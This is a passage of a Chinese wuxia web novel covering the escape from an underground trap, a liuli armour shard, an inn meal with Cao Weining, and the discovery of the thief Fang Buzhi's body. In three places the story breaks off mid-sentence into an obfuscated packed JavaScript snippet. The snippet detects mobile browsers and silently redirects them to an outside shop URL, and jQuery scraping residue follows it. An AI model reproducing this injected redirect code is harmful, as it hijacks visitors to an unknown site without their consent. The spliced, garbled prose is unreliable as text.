温客行打量了他半晌,忽然点评道:“此人竟长得如此鬼斧神工,真是该杀。” 然后他抬头对周子舒笑笑:“周兄,你说是不是?” 周子舒道:“你真太不是东西了。” 温客行忙摆手抱拳道:“不敢不敢,承让承让。” 周子舒冷笑了一声,径自走过去,在黑衣人的尸体上翻找起来,他心里其实有很多疑问,比如很多年前就已经消失在江湖中的黄金软甲是怎么到这个人手里的,比如这死人到底是不是吊死鬼薛方,比如那河里的东西是怎么弄出来的,到底是不是人,比如…… 然后他三两下地扒光了尸体的衣服,在尸体后腰上,找到了一个青面獠牙的鬼面纹身,周子舒动作一顿,便知道这人是如假包换的恶鬼众之一。 吊死鬼?吊死鬼薛方竟然是个龅牙? 呃……不对,周子舒忙把这个非常“温客行”的想法从脑子里甩出去,心道,难道一路上追着他和张成岭不放的真的是恶鬼们?不能——青竹岭的恶鬼们若只有这点本事,怎么会这么多年来一直是武林的禁地? 吊死鬼为什么要杀于天杰?还有那另一个方向跑了的,难道也真是喜丧鬼本尊? 鬼谷这个时候在赵家庄外狙杀正派名流,便是等于将张家的灭门案认下了,又是为了什么? 还有……他抬头看了一眼一脸和煦的温客行,忽然问道:“温兄不是自称离家下了江湖以后,不曾杀过一个人么,怎么今日这样痛快就破戒了?” 温客行瞪眼道:“明明是他先要杀我的,若不是我聪明伶俐、临危不乱,刚才就被他用钢刀给剁成肉泥了。” 周子舒笑道:“温好人,你先前不是一口咬定,这祸事不是你惹来的么?” 温客行理直气壮地说道:“你看他腰上那鬼面娃娃,你再看外面的那年轻人,媳妇都没来得及娶就没了脑袋,这说明什么?说明他是个坏人,还是特别坏特别坏的那种,坏人要杀好人,这要理由么?” 周子舒无言以对地看着他。 温客行摇摇头,语重心长地说道:“我瞧你也老大不小的了,这点道理竟然都不明白,怎么活到这么大的,真愁人。” 周子舒沉默了半晌,嘴里才蹦出两个字:“受教。” 温客行忙道:“不敢不敢,客气客气。” 周子舒低下头,继续在尸体身上翻腾,将那著名的黄金软甲从他身上扒下来,只见靠着尸体胸口的地方掉出一个小锦囊,周子舒小心地将那小锦囊解开,借着夜明珠的光,里面竟是一块流光溢彩的琉璃碎片,巴掌大,上面似乎还有纹路,做工极精细。 周子舒将那小碎片举起来,放在光下照了照,随口问道:“琉璃?” 温客行“呀”了一声,也凑过来,仔细看了半晌,才小心翼翼地接过来,双手捧着,唯恐碰坏了它,口中道:“怪不得他要穿黄金软甲,若我有这么一块东西,我非叫打铁师傅给我弄副盔甲不可,得贴身保护着。” 周子舒见他神色郑重,便忍不住好奇问道:“这是什么东西?” 温客行道:“这恐怕就是传说中的五片琉璃甲之一……我本以为是江湖传言,没想到竟然是真的,听说五片琉璃甲拼凑在一起,足以叫任何一个无名小卒从此称霸整个中原武林。有人说里面藏着绝世武功,有人说里面是一份地图,顺着找下去,便能得到人心里最梦寐以求的东西。” 他似乎恋恋不舍地将那片琉璃甲交放到周子舒的手心上,轻轻拢起周子舒的手指,轻声道:“是好东西啊。” 周子舒点点头,表示听明白了,然后拍开温客行暧昧地拢着他手指的手,将那片琉璃甲塞回到锦囊里,随手丢在一边,继续折腾吊死鬼的尸体,整个翻了个遍,再没有别的东西了,周子舒便皱皱眉,站起身来,说道:“这可麻烦得很了,我们怎么出去?” 一低头,见仍然蹲在地上的温客行正以一种说不清的奇异的目光盯着他看,便没好气地道:“温大善人,问你话呢?就你手快,宰了这货,叫我们学耗子钻洞出去么?” 温客行指着那被他丢在一边的琉璃甲问道:“你……不要那个么?” 周子舒正色道:“若是整个琉璃做的,那样精细的东西,倒也值些钱,眼下就剩这么个残片,顶什么用,当铺老板都不收。” 温客行闻言轻笑一声,拍拍双手站起身来,一边跟着周子舒往前走,一边道:“周兄戒心十足,不肯相信江湖传言么?你就没什么梦寐以求的东西么?” 周子舒头也不回地道:“李生大路无人采摘,必苦,你都不要,我做什么要揣着这麻烦?难道温善人就没什么梦寐以求的东西么?” 温客行闻言立刻便转回头去,小心翼翼地将那锦囊拾起来,揣在怀里,也贴着胸口放,问道:“我若要了呢?” 周子舒瞥了他一眼,说道:“哦。” 便没了别的表示。 两人一直转来转去,转到他们下来的地方,那小小的入口依然钢刀参差,周子舒便在四周摸索着:“我才要出去,这洞口便被合上,那时那吊死鬼必然在附近,控制此处的机关也应该在附近才是。” 然而两个人对奇门遁甲之术,都是十窍通了九窍,就剩一窍不通,找了大半天也没能找到,那七颗要命的钉子又开始蠢蠢欲动,周子舒便知道又快到半夜了,两人被困在这里足足一天一宿,他体力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450104|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大不如以前,有些撑不住,心道难道真的要去吃那狗肉? 正想着,隔着那洞口远远的地方忽然传来人声,模模糊糊地道:“快快快,我找着这个地方了,等我喊一声试试——主人!主人!听得见么……主人,你还会能出气么?你要是能出气我就把你这坟头挖开,你要是已经见阎王去了,我就不打扰你安息了!” 是顾湘! 周子舒不知为什么,在经历了被恶犬追,被怪物咬,被吊死鬼的造型惊悚到之后,听见她的声音,就觉得特别亲切。 只听顾湘嘀咕一声道:“是没听见还是已经嗝屁了?主人,你不吱声我可走了,我真走了!” 温客行这才慢条斯理地说道:“阿湘,你知道多说话少做事的女孩子会是什么下场么?” 他这似乎是一门特别的传音入室一类的功夫,周子舒已经几次三番见识过,好像不管他在什么地方,以多大的声音说话,总能做到让该听见的人听见。 顾湘“嗷”一声,催促道:“快快,主人说我多说话少做事呢,赶紧把他挖出来。” 随即外面开始一阵叮叮咣咣挖坟掘墓的动静。 周子舒就听明白了,原来她不是少做事,是根本不做事。 待两人像大萝卜一样被一帮人从地底下挖出来的时候,已经是将近两个时辰以后的事了。 只见顾湘带着一群普通劳工一样的男人站在一边,大呼小叫道:“爬出来了!爬出来了!” 周子舒闻言立刻不想出来了。 温客行却还淡定,灰头土脸地从那挖出来的小洞口钻了出去,扫了顾湘一眼,吩咐道:“你可以闭嘴了。” 顾湘吐吐舌头,又冲周子舒做了个鬼脸。 一个“劳工”上前来,对温客行行礼道:“主上,属下来迟。” 顾湘插嘴道:“其实我们早看见主人你留的标记了,就是那边不知道为什么有两坨死人,赵家庄今天一天哭号骂街,惊天动地的,各路狗熊都到齐了,不方便过来找——你们俩怎么变成这样了?” 温客行道:“我们听见了一只猫头鹰笑。” 周子舒望天望地,表示没自己什么事。 顾湘迷惑地道:“哦?” 温客行又解释道:“听见猫头鹰笑,就是有厄运要来,很可能要出人命,所以一定要躲到地底下,让索命小鬼以为你已经是个死人了,才能避过一劫。” 顾湘恍然大悟道:“哦!” 温客行拍拍她的脑袋,厚颜无耻地说道:“嗯,记住,以后说不定能救你一命。” 然后扫了一眼那劳工模样的男人,点评道:“老孟,这打扮不适合你,下回应该穿一身杀猪屠夫的衣服。” 老孟恭谨无比地道:“是,遵命。” 温客行这才挥挥手:“去吧,不要这么多人聚在一起,省的让人以为咱们是聚众行凶的。” 老孟打了个呼哨,一群不知从何处而来的人顷刻间散了,来往无踪,训练极其有素。 周子舒也才要告辞,只听温客行对他说道:“周兄,我跟着你走吧?” 周子舒用沉默表达抗议,只听温客行继续道:“我是大善人,可以指导你如何积德行善。” 周子舒依然沉默不语。 温客行和他对视半晌,一边的顾湘看看这个又看看那个,只觉气氛诡异极了。终于,温客行使出了最后一招,道:“你反对也没用,我可以跟着你。” 周子舒脸上挤出了一个生搬硬套的笑容,点头道:“那温兄请。” 顾湘看看周子舒,骤然明白了什么叫做“牵着不走,打着倒退”,又看看温客行,则深深地体会到什么叫“人不要脸天下无敌”,只觉得自己这个晚上长了不少学问,志得意满地跟在两人身后走了。 15. 第十五章 酒楼 “主人你怎么能确定人如果易容的话,一定要把自己易得难看呢?”这是不懂就问的顾湘。 温客行慢悠悠地说道:“人不管美丑,五官天成,自然有种和谐韵律,人做了手脚,无论如何也不是天衣无缝的,若是凭空变美,别人便会忍不住多看两眼,可不就看出破绽了么?” 三人一同走在大街上,正值正午,街上人群熙熙攘攘。周子舒涵养功夫十分到家,一言不发地听着,装聋作哑任他们讨论,任温客行不时贼眉鼠眼地往他身上瞄,听到这里,忍不住一愣,瞥了温客行一眼,心道这人懂得倒多。 温客行见自己得到关注,越发人来疯了,滔滔不绝地说道:“这易容之术兼容并包,手段不一,有用颜料涂抹的,这种需要手法巧妙,稍有不均匀怪异之处,便容易让人看出来,还有往脸上糊人皮面具的,这种效果更好,若是易容之人手段高明,能有以假乱真的效果。”言罢若有所思地看了周子舒一眼。 顾湘立刻非常有实践精神地伸出爪子摸上周子舒的脸,她的手软绵绵的,袖子里透出一股少女特有的清新恬淡的香气,周子舒不躲不闪,笑盈盈地任她摸,也不知是谁在占谁的便宜。 末了他还耐心地柔声问道:“摸出什么了不曾?” 顾湘十分疑惑地摇摇头,怀疑地回过头去看着温客行:“主人,我还是觉得他这个像是真的……” 温客行道:“他自然不是带了人皮面具,那东西密不透风,若是久带,必然有脱下来换气的时间,我尾随他那么久,就是为了看他是不是需要脱换人皮面具。” 顾湘一脸崇拜地说道:“主人你为了求个明白,竟平白浪费了那么多和美人鬼混的时间。” 温客行指着周子舒道:“他若是美人,我就一时片刻也没浪费。” 周子舒想了想,终于觉得自己不能再这么沉默下去了,于是问道:“我几时和你鬼混过?” 温客行不紧不慢地说道:“以前未曾,将来一定会的。” 他说着,便也伸手去摸周子舒的脸:“我那日碰到你肩膀,感觉和脸上的皮肤质感不一样,唔……” 周子舒往后一躲,将他的手架开。温客行一挑眉,有几分不悦,指着顾湘问道:“怎么她摸就行?” 周子舒好整以暇地整整他那破衣烂衫四面漏风的袖子,说道:“你若也长成她那模样,别说一下,我脱光了给你随便摸都行。” 顾湘原本觉得周子舒好好的一个堂堂正正的叫花子,遇上她家这不要脸的主人是倒了八辈子血霉,一直在心里默默地同情着他,一听这话,立刻觉得这俩人简直是一个王八一个绿豆,一路货色,太他娘的配了。 大可以从此就鬼混在一起,没事内部掐掐斗斗消耗精力,省的放出来祸害人间。 温客行转过脸,面色阴晴不定地打量着顾湘,然后沉声道:“阿湘,你可以滚了。” 顾湘“啊”了一声,十分无辜地眨巴眨巴眼睛:“主人要我滚到哪去?” 温客行负手而立,简直一眼也不想多看她:“天大地大,除了洞庭,你愿意往哪滚往哪滚。” 顾湘呆立半晌,忽然从嘴里挤出一句话,问道:“主人你这莫非是在吃奴婢的醋?” 温客行瞟了她一眼,顾湘立刻从善如流地在自己腮帮子上拍了一巴掌:“呸呸,叫你嘴贱,就你话多,就你非要说实话,就你非要……” 温客行道:“阿湘。” 顾湘“哎”了一声,转身就走,边走边道:“这就滚,就滚。主人放心,奴婢一定滚得远远的,世上三条腿的蛤蟆找不着,两条腿的男人还少么?奴婢吃双份熊心豹子胆,也不敢跟主人您抢男人,二位自便,千万不要客气……” 然后一边唠唠叨叨,一边真的风风火火地滚了。 周子舒心里琢磨着那句意蕴深远的“除了洞庭”,饶有兴致地看着这对聒噪的主仆。 顾湘前脚才走,温客行像是忽然换了张脸一样,装模作样地干咳一声,做了个请的手势:“周兄,不知可否赏光与在下共进一餐?” 周子舒想着,反正说不行,这人也得狗皮膏药似的跟上,还不如答应了,好歹能省一顿饭钱,便欣然应允。 温客行眉开眼笑地前面引路,周子舒心里默默地反省着,那些游走宫廷中不人不鬼的日子已经像是上辈子的事了,那时他身着锦袍,住在一个开满了梅花的神秘地方,做着杀人放火的行当,虽然是禽兽,可到底也是个衣冠禽兽。 什么时候变的这样明目张胆地无耻了呢? 他看了温客行的背影一眼,心想,一定是近墨者黑。 二人上了酒楼,都已经饿了不短的时间,饭菜端上来,谁都没废话,都是下箸如飞,唯恐少吃一口,偶尔筷子碰上,便冤家路窄地小范围内过上几招,你赢我一块鸡肉,我赢你半块酱肘。 这二人一个一直对食物抱有极大的热情,一个不吃白不吃、不抢白不抢,将好好的一个饭桌直弄得剑拔弩张、刀光剑影,弥漫着一股肃杀气。 抢完了一盘,下一盘居然还没端上来,温客行这才空出时间对周子舒一笑道:“棋逢对手,果然是吃饭都觉得香。” 周子舒鄙夷地看了他一眼,心道你属鸡的么,专门愿意一个槽里抢食吃。 正这当,忽然楼下传来一阵骚动,只听那小二大声讥讽道:“这位公子,我瞧你谈吐衣着也不俗,怎么也想吃霸王餐呢?还笔墨回报,您八成是听说书的听多了吧?敢问您是哪朝哪代的名家,是如今哪一科的状元郎啊?还墨宝……” 周围一群人哄笑起来,温客行往下探头一看,忽然摸了摸下巴,嘀咕道:“是个清秀美人么……” 周子舒顺着他的目光望下去,只见一个青年,面红耳赤地站在那里,一身藏青的袍子,腰上还别着一支箫,他那衣服乍看不显眼,细看,用料竟极是讲究,腰间玉箫的成色也极好,便不是行家,也能看出价格不菲。周子舒只觉那人打扮竟有几分熟悉,便轻轻一笑。 温客行问道:“你笑什么?” 周子舒道:“我看他那身表面上不愿引人耳目,其实非常骚包的打扮,倒想起一个故人来。” 正说着,那被无数人围观着的青年茫然四顾,抬起头来,目光正好扫过他们,周子舒便摇摇头,心道那人乃是京城第一纨绔,无人能出其右,一辈子吃喝玩乐游刃有余,何曾有过这样茫然无措的样子?便用脚尖踢了温客行一脚道:“温善人,积德行善的机会到了。” 温客行原本在研究他表情,闻言一怔,便将手探入怀中:“嗯,也是,美人有难,出手相助也是应该的……嗯?” 他在怀中摸了摸,脸色忽然变的十分古怪:“周兄。” “唔?” “我想,还是把这积德行善的机会让给你吧?”温客行讪笑了一下,“在下这辈子积德已经积得够多了,实在没必要抢了老兄你的机会……” 周子舒笑眯眯地看着他。 片刻,温客行叹了口气,肩膀垮下来:“方才在街上,一个俊俏男子脚下被绊了一下,在下伸手扶住,他还对我笑了笑……啧,卿本佳人,奈何做贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450105|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” 周子舒挑挑眉,决定自己还可以再无耻一点,起码不能输给眼前这人。他这么想着,便随手拽过温客行的袖子,擦擦自己的手,然后从怀里摸出一锭银子,轻轻一抛,正好丢到越说越离谱的小二的头上,小二猝不及防被砸,才要开骂,一低头,却发现和自己头皮亲密接触的是个白花花的元宝,立刻没脾气了。 只听周子舒懒洋洋地道:“这位公子的账,算我的。” 小二收了银子,自然无话,点头哈腰地走了,那蓝袍青年立刻感激地望了周子舒一眼,便亲自上楼来道谢。 周子舒指指一桌子空盘子,对温客行道:“救他算我的,这顿算你的,回头记着,欠我三两银子。” 温客行小声道:“在下以身相许如何?” 周子舒笑得四平八稳:“对不住,在下胃口还没那么好。” 那蓝袍青年已经上楼来了,两个禽兽同时收了鬼鬼祟祟的笑容,摆出一副如出一辙的“路见不平拔刀相助”的豪杰君子面孔。只见那蓝袍青年深深一揖:“在下曹蔚宁,多谢二位仗义相助。请受在下一礼。” 温客行和周子舒几乎是异口同声道:“不敢不敢,曹公子客气。” 说完这句以后,两人立刻各自意味深长地对视一眼,都感觉十分微妙。 周子舒先干咳一声,移开目光,对曹蔚宁说道:“曹公子请坐,在下周絮,这位……” “温客行。”温客行微微一笑,轻轻地点点头,他静静地坐在稍远的地方,分明一个温润公子,含笑轻语的模样,简直像个正经人似的。 曹蔚宁感谢一番,也不客气,便坐下来,他乃是清风剑派的关门弟子,首次下江湖历练,不巧和师叔分开了,又不知何时遭了贼,才有这么回尴尬,正不知如何是好,正好遇上周子舒解围,只觉这人仗义得很,连同他那张面黄肌瘦十分猥琐的脸都顺眼起来。 周子舒乃是惯于长袖善舞套人话的,遇到除了温客行以外的正常人,都十分游刃有余,三言两语,竟叫曹蔚宁觉得一见如故一般,便噼里啪啦地打开了话匣子:“我和师叔乃是去洞庭大会的,谁料前几日经过赵家庄的时候听闻那边出了事,他老人家早年和赵大侠交情不错,便要过去看看,叫我先去洞庭,和高崇高大侠告声迟来之罪……” “洞庭大会?”周子舒一愣。 “正是,”曹蔚宁解释道,“不知周兄可曾听过那江南张家灭门一事,不光如此,听说前些日子,泰山掌门不明不白地死在自己房中,门下三大高手竟一夜之间全部罹难,死状和张家人极像,那张家的小公子幸存,眼下也在赵家庄,赵大侠的庇护之下,亲自指认,凶手乃是青竹岭的恶鬼众们。洞庭大会,便是高崇大侠拿出山河令,要集天下英雄之力,铲除鬼谷。” 周子舒下意识地看了温客行一眼,却见他兴致颇高,还开口问道:“真有此事?” 曹蔚宁道:“千真万确,我和师叔便是奉我师父之命,下山参加洞庭大会的。” 这小子果然第一次下山,一问就说,不问也说。 只听温客行道:“周兄,你不是说要积德行善么,不如跟这位小兄弟走上一遭吧,惩恶扬善之事,大德也。” 周子舒低头抿了一口杯中酒,垂下眼,有些摸不清温客行的打算。却听曹蔚宁击掌道:“好一个惩恶扬善之事,大德也,温兄说得好,我瞧二位仗义直爽得很,和小弟也很是投缘,不如便跟小弟同往洞庭如何?” 啧,这傻小子。 温客行笑道:“那可真是求之不得。” 16. 第十六章 灵狐 于是两人行又变成了三人行,反正洞庭也是周子舒的目标之一,他倒也没什么异议。 有的人生活的常态就是吃饱混天黑,叫他多想,他也反应不过来,逼得急了还得脑袋疼,比如曹蔚宁。有的人却习惯于遇到事情,总要比人多看一眼,多想几分,这也是习惯使然,说不定他自己都没意识到,脑子就已经圈圈套套地走了很多弯子,比如周子舒。 周子舒和温客行磕牙打屁照常进行,没事了就你损我几句,我调戏你几句,大有生命不息,试探不止的意思。 唯有曹蔚宁还傻呵呵地在一边听着拾乐,总结道:“二位感情真是好。” 周子舒闭上嘴,瞟了曹蔚宁一眼,十分无语,心道清风剑派的掌门莫怀阳他是知道的,彻头彻尾的老狐狸一只,怎么狐狸窝里会养出个大兔子来? 温客行就坡下驴,得寸进尺地伸手揽住周子舒肩膀,对曹蔚宁笑道:“多谢曹公子,实不相瞒,温某此生,是打定主意非周絮不娶的。” 曹蔚宁的嘴张得和眼睛一样圆。 周子舒习以为常似的飞快地接道:“怕要辜负温兄厚爱,在下命薄,罹患绝症,满打满算也没几年好活了,这棵歪脖子树眼看着摇摇欲坠,恐怕吊不死温兄的尊颈,还请换一棵吧,天涯何处无芳草呢?” 温客行认真地道:“你若不在了,我便孤独终老去。” 周子舒笑里藏刀地说道:“尊驾这般天纵奇才,必然高处不胜寒,孤独终老乃天命许之,在下小小一个凡人,何德何能篡改天命呢?” 温客行没皮没脸地说道:“哪里哪里,阿絮你自谦如此,实在是太客气了。” 周子舒忙摆手道:“不敢不敢,其实我一点都没客气。” 曹蔚宁的目光在这两人身上游移半晌,终于三魂七魄归位,脱口便问道:“……难道因为周兄身上抱恙,才使得二位有情人不得终成眷属?” 温客行和周子舒同时哑然了片刻,温客行“噗嗤”一声笑出来,只觉曹蔚宁此物绝了。 半晌,周子舒才干咳一声,将温客行的胳膊从自己脖子上扒拉下去,正色道:“曹兄不必多心,我与这位温兄是怎么也成不了眷属的,怨偶倒是有可能。” 曹蔚宁还以为他是强作欢颜,于是皱着眉想了一阵子,沉痛地说道:“周兄这般人品,不该受此苦楚。” 周子舒苦笑道:“多谢曹兄,我一点都不觉得……” 曹蔚宁道:“家师一直和一些江湖中的异人有来往,还有幸识得几位巫医谷的前辈,若周兄不嫌弃,等洞庭一会、咱们解决了邪魔歪道以后,可以和我回去一趟,师父他老人家定会有办法的。” 周子舒简直感动得潸然欲泣了,遂默然不语。 孰料曹蔚宁还是个行动派,立刻对两人抱拳道:“二位请在前面客栈等我,我这就给师叔留记号传信去。” 言罢转身便走,温客行对着他的背影啧啧称奇道:“古道热肠,真乃我辈中人。” 一回头,却见周子舒正若有所思地盯着他看,温客行便顿了片刻,问道:“怎么,是不是方才在下一番肺腑之言,感动了阿絮你的铁石心肠,打算以身相许了?” 周子舒冷笑道:“恕我愚钝,还真觉得……温兄去洞庭的动机,扑朔迷离。” 温客行一本正经地说道:“救人危急,仗义疏财,这些都是小善,你可知大善是什么?” 周子舒眯起眼睛,一言不发地看着他。 温客行自顾自慢慢地说道:“地狱一日不空,我一日不成佛,自古正邪不两立,你说呢?”他说这话的时候,目光平静地望着很远的地方,一张英俊的侧脸,平日里的戏谑玩笑之意倏地无影无踪,真就像是一尊无悲无喜的石佛像。 “这是人间,”他接着说道,“人间,就不该有魑魅魍魉的东西,那位……德高望重的高崇高大侠,也是为民除害,我等若不出手相助,岂非枉读那许多年的圣贤书?听说很多年修行,方可来人世一遭,若不做出些事业来,岂非对不起这几十年?” 周子舒没接话,温客行却回过头来,追问道:“阿絮,你说是么?” 半晌,周子舒才轻笑一声,说道:“这话听起来,就好像温兄是个正人君子一样。” 温客行却忽然驴唇不对马嘴地说道:“这世上有三种人,爱吃肉的,可有可无的,和不爱吃肉的,此皆是生而如此,可有时候爱吃肉的人,偏偏生在穷人家,不爱吃肉的人,偏偏要在山珍海味中长大,岂不是很可笑么?” 周子舒沉默了一会,才极慎重、极缓慢地说道:“温兄说的什么哑谜,我是不明白的,不过倒也听说过一个道理。” “什么?” “橘生淮南则为橘,生于淮北则为枳。” 温客行闻言先是怔了片刻,忽然爆发出一阵大笑,简直前仰后合,把眼泪都笑出来了,周子舒在一边面无表情地看着他,那蜡黄的皮肉和扭曲的五官看不出喜悲,眼皮却微微垂下,好像要看进温客行心里似的。 不知过了多久,温客行才上气不接下气地直起身来,伸手抹掉眼角笑出来的一点眼泪,看着周子舒道:“我发现你是我这辈子见过的最对我胃口的人了,阿絮……其实易容之术我也是多少懂些的。” 他眼睛一眨不眨地看着周子舒,看得周子舒的二皮脸都有些不自在了,便顺口道:“是么?” 温客行十分认真地说道:“所以我也勉强可以把自己变成阿湘那副模样。” 周子舒呆了一呆,见温客行正上三路下三路一脸猥琐地打量着自己,立刻反应过来,二话不说,转头往客栈的方向走去。 温客行看着他颀长清瘦的背影,目光凝在他透出衣服若隐若现的一对肩胛骨上,就觉得即使那人破衣烂衫、落魄潦倒,身上也有那么一种难以言喻的东西,好像那个阳光遍落的下午,他眯着眼靠在墙角,大喇喇地坐在大街上,分明一副叫花子样,却比谁都悠闲,比谁都从容。 温客行就知道,那人其实只是在晒太阳。 有这样一个背影的人,怎么可能会不是美人呢?温客行洋洋自得地想,自己这双眼,在世将近三十年,可未曾看漏过一个呢。 眼看着周子舒已经走出去很远了,温客行这才抬起腿溜溜达达地跟上,嘴里低声自语道:“那橘子树又没长腿,怎么知道自己是要变成橘还是要变成枳呢?再说无论是爱吃肉还是不爱吃肉的人,若是有一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450106|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不小心掉进一个人迹罕至的地方,整天茹毛饮血过活,可不也很痛苦么?” 傍晚的时候,曹蔚宁赶了上来,便直觉两人之间的气氛不大对头,于是小心翼翼地问道:“周兄和温兄……是闹别扭了么?” “曹兄多心。”又是异口同声。 温客行眯起眼睛扫了周子舒一眼,眼神跟带钩子似的,十足的调戏之意,周子舒只当没看见,兀自不动如山。 曹蔚宁抓抓头,说道:“其实……这事我也不知怎么说,说实话,以前也听说过,不过长这么大,还是第一回遇见男子……” 温客行就抬起眼,安安静静地看着他,曹蔚宁忙道:“温兄千万别误会,我没有什么别的意思,虽然觉得有些难以接受,可二位都是侠义之人……虽然还是有点奇怪,不过……咳咳,千万别往心里去,咱们行得正站得直……” 周子舒不紧不慢地给自己倒了杯酒,砸吧砸吧地喝下去,心想,这傻小子已经语无伦次了。 曹蔚宁于是低下头,半晌,才重新抬起来,红着脸小声问道:“那……二位晚上住店,你们是要一间房还是两间房?” 周子舒一口酒便呛了出来。 连温客行都直直地望着曹蔚宁,心道,原来竟捡了个奇葩回来。 三个人之间的空气都诡异地静止住了,就在谁都没来得及说话,只听见周子舒在那气不接下气的咳嗽的时候,忽然,楼上传来一声极惨烈的尖叫,底下不多的客人都抬起头,只见店小二连滚带爬地从楼上下来,活像见了鬼,颤声道:“杀……杀……杀人了!” 曹蔚宁脸色一肃,抓起佩剑便一马当先地蹿了上去,几乎是同时,旁边桌子上一对像是兄妹模样、短打扮的男女也各自拿了兵刃,冲了上去——总有人争先恐后着管闲事。温客行用脚尖踢踢周子舒道:“阿絮,你不去看看?” 周子舒站起来,微一欠身:“你先请。” 温客行站起来,往楼上走去,从周子舒身边路过的时候,脚步忽然顿了一下,凑近了他,压低了声音道:“你今晚若是肯和我一个房间,我就给你易容成阿湘的样子。” 周子舒道:“承蒙厚爱,在下宁可去睡马房。” 温客行“啧”一声,斜了他一眼:“不解风情。”便也上楼去了,周子舒紧随其后。 一上楼,一股子血腥味便扑面而来,天字号房门大开着,曹蔚宁面色凝重地站在门口,回头见了他们二人,招手道:“二位快过来看看这个人。” 周子舒走过去,打眼一瞧,只见一个人背靠床柱而立,衣冠不整,露出一片胸口,胸口上有个乌黑的掌印,双手被砍去,掉在角落里,血洒了一地。那人的头歪在一边,目光涣散,脸色铁青,竟已是死去多时了。 温客行“咦”了一声:“这人怎么像是……那日街上撞进我怀里的那位梁上君子?” 曹蔚宁也“啊”了一声,凑过去对着那死人脸仔细一看,面色古怪地说道:“他……他好像也撞过我!” 两个眼下都靠周子舒救济的难兄难弟对视一眼,顿时生出一种同是天涯沦落人的感觉。 只听一边的女人说道:“我知道这个人,这是九爪灵狐方不知!” 17. 第十七章 琉璃 曹蔚宁呆了呆,问道:“他……他就是那贼祖宗方不知?” 年轻女人点点头,指着尸体的左手道:“你瞧,传说中方不知便是个三十来岁的男子,左手畸形,若是不确定,其实他还……” 她脸红了红,说不下去了。 周子舒端详着那尸体光洁的脸和下巴,在一边接道:“还有,传说方不知身有残疾,那位姑娘若不适可以先出去,或者背过身去,你们脱了他的裤子,就知道他是不是真的神偷了。” 女人尴尬地瞥了一眼和她同行的青年,青年轻咳了一声道:“小怜,你先出去吧。” 年轻女子转身出去,等在门口,背过身。 她一转身,温客行便上手三下五除二地剥下了死者的裤子,看着尸体断了一截的特殊部位,他还若有所思地摸摸下巴,感慨道:“还真是他,难怪从我身上摸去东西,我竟一点都没察觉。” 随后干脆一不做二不休,把方不知全身都扒得光溜溜的,十分不客气地四处乱翻,在一大堆零零碎碎的东西里找到了自己的荷包,翻开点了点,惊喜地发现没少什么钱,于是十分心满意足地塞进了自己的怀里,还不忘顺口客气道:“曹兄,你来看看,你的东西还在不在?” 曹蔚宁和一边的青年目瞪口呆地望着这人。 周子舒凉凉地提醒道:“温善人,死者为大。”随后不管那陌生青年投过来的颇为赞同的目光,顿了顿,又补充了一句道,“你欠我的三两银子这回能还了不?” 温客行一脸伤心:“我人都是你的了,你居然还和我计较三两银子?” 那陌生青年的脸色于是更好看了,周子舒伸手揪住温客行的领子,把这碍事的东西扒拉到一边去,蹲下身,从头到脚将那尸体摸了一遍,皱眉得出个结论,道:“一招毙命,掌印从前胸穿到后心,应该是罗刹掌。” 陌生青年“啊”了一声,失声道:“你是说,喜丧鬼的罗刹掌?” “恐怕是的。”周子舒点头道,言罢将尸体盖上,又对门外的年轻女人道,“那位姑娘可以进来了。” 陌生青年打量了他们三人一番,抱拳道:“在下邓宽,家师高崇,这位是我师妹高小怜,我二人原本出门历练,前些日子收到家师传信,才赶着在洞庭大会之前赶回来,不知几位如何称呼?” 曹蔚宁忙道:“哦,失敬失敬,久闻邓少侠大名,还有这位姑娘,是高崇高大侠的女儿吧?在下清风剑派曹蔚宁,奉掌门之令参加洞庭大会,师叔他老人家应该不日便到,路上被这位……这位神偷摸去了盘缠,多亏了那位周兄和温兄仗义相助。” 邓宽道:“不知这二位英雄是……” 周子舒仍保持着蹲在地上的动作,闻言回头对他笑了笑,道:“哪算什么英雄?我叫周絮,不过是个走哪算哪、无门无派的浪子游侠,那位……” 他指着温客行,话音微妙地顿了顿,接道:“那位温客行温兄,虽然装得一副正人君子样,其实是个经验老道的混混流氓……” 温客行淡定地道:“阿絮,我只流氓你一个。” 周子舒轻声慢语地道:“你实在太抬举在下了。” 显然高小怜的注意力已经完全不在尸体身上了,邓宽倒是镇定,闻言宽厚地笑笑,态度也不卑也不亢,倒真有些名门正派、洞庭之主的派头,对他们二人抱拳道:“二位真是风趣,既然二位随曹兄来我洞庭,想来也是我道中人——周兄说这位神偷,也是死于喜丧鬼的罗刹掌?” 